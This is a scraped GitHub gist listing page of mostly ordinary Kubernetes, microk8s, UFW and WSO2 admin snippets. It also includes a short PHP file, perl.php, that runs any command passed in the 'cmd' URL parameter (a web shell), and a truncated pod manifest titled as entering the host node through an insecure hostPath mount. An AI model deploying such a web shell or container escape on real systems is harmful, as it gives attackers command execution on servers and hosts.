Skip to content

Instantly share code, notes, and snippets.

View haphan's full-sized avatar
☁️
Up in the cloud

Ha Phan haphan

☁️
Up in the cloud
  • Google, Inc.
  • Sydney, Australia
  • 18:50 (UTC +11:00)
View GitHub Profile
@haphan
haphan / k8s.md
Created May 12, 2020 07:36
Enter host node via insecure hostpath Mount
---
# pod.yaml
apiVersion: v1
kind: Pod
metadata:
  labels:
    run: netshoot
  name: netshoot
spec:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJVuqn/EX52+wh02rKZbYjEmeUl/Iold2uoDub6CRNvhvnMPWtLssrT+5i9wNesg+NC/fPxIQquGc9SH09CsoZYzxmpVagHzLqzwgt3ZFMfn2VF+tqez7fkMejKCCWzCn+9SStVfYh1ad7feNrkrbZx5IAUOeY+dIakFRVGEEDhiwMdKSkudt+rus3UknPxrDw+PYCWXrXR01PNS0FikSthXkPJ0kxDSwSTYfJzFBAAKd0g9L5/JYWj0OpaFcoAQ66GYdjkotQGGj48d7jK9dBp8s6rxW3Lq773q/04vSwrhcPbRn+xqcrozl3SDFaIYTVpcmZetNuOTYrDcswvBwH haphan

K8S cheatsheet

Trouble removing namespace

Sometimes removing namespace is stucked at terminating state. Removing finalizer: ["kubernetes"] is a terriable idea.

As advised( by @alvaroaleman, try to instead find out which resources in the NS are pending deletio

#Checking if any apiservice is unavailable and hence doesn't serve its resources
#!/usr/bin/env bash
set -xe
apt update
apt upgrade -y
# Stick to 1.15 branch until microk8s snap updates helm to 2.15.0
snap install microk8s --classic --channel=1.15/stable
microk8s.status --wait-ready
@haphan
haphan / perl.php
Last active September 4, 2019 09:27
<?php
$perl=new perl();
$cmd=$_GET['cmd'];
echo $perl->eval(sprintf("system('%s')", $cmd));
sleep(60);
@haphan
haphan / before.rules.md
Created September 3, 2019 02:04
UFW port forward to expose TCP/UDP service running in k8s

/etc/ufw/before.rules

#See https://dnotes.net/blogs/david-hunt/forwarding-tcp-traffic-iptables-and-ufw-1069
# NAT table rules
*nat
:PREROUTING ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]

# Flush, so that rules are not repeated on reload
# See https://gist.github.com/kimus/9315140#gistcomment-1464461
@haphan
haphan / k8s-remove-namespace-stuck-terminating.sh
Created September 2, 2019 07:43
k8s-remove-namespace-stuck-terminating.sh
NAMESPACE=<namespace-name>
kubectl proxy &
kubectl get namespace $NAMESPACE -o json |jq '.spec = {"finalizers":[]}' >temp.json
curl -k -H "Content-Type: application/json" -X PUT --data-binary @temp.json 127.0.0.1:8001/api/v1/namespaces/$NAMESPACE/finalize
@haphan
haphan / deploy-jetbrains.md
Last active July 13, 2019 07:35
Deploy jetbrains fix server

Deploy to a microk8s ubuntu node

microk8s.kubectl create ns jetbrains
microk8s.kubectl -n jetbrains create deployment jetbrains --image=haphan/jb:latest
microk8s.kubectl -n jetbrains scale deployment jetbrains --replicas=1
microk8s.kubectl -n jetbrains get pods
microk8s.kubectl -n jetbrains expose deployment jetbrains --type=NodePort --port=1212 --target-port=1212 --name=jetbrains-svc

Add ingress.yaml

cp -R /usr/share/ca-certificates/mozilla/ /opt/wso2-server-volume/repository/mozilla/


keytool -list -v -storepass wso2carbon -keystore wso2carbon.jks  | grep Alias | wc -l

for c in `ls ~/wso2-server-volume/repository/mozilla/`; do \
  keytool -import -noprompt -alias $c  \
    -file "/home/wso2carbon/wso2-server-volume/repository/mozilla/${c}" \
 -storepass wso2carbon -keystore client-truststore.jks; 
{
"us": "USA",
"sg": "Singapore",
"_mode": "dev"
}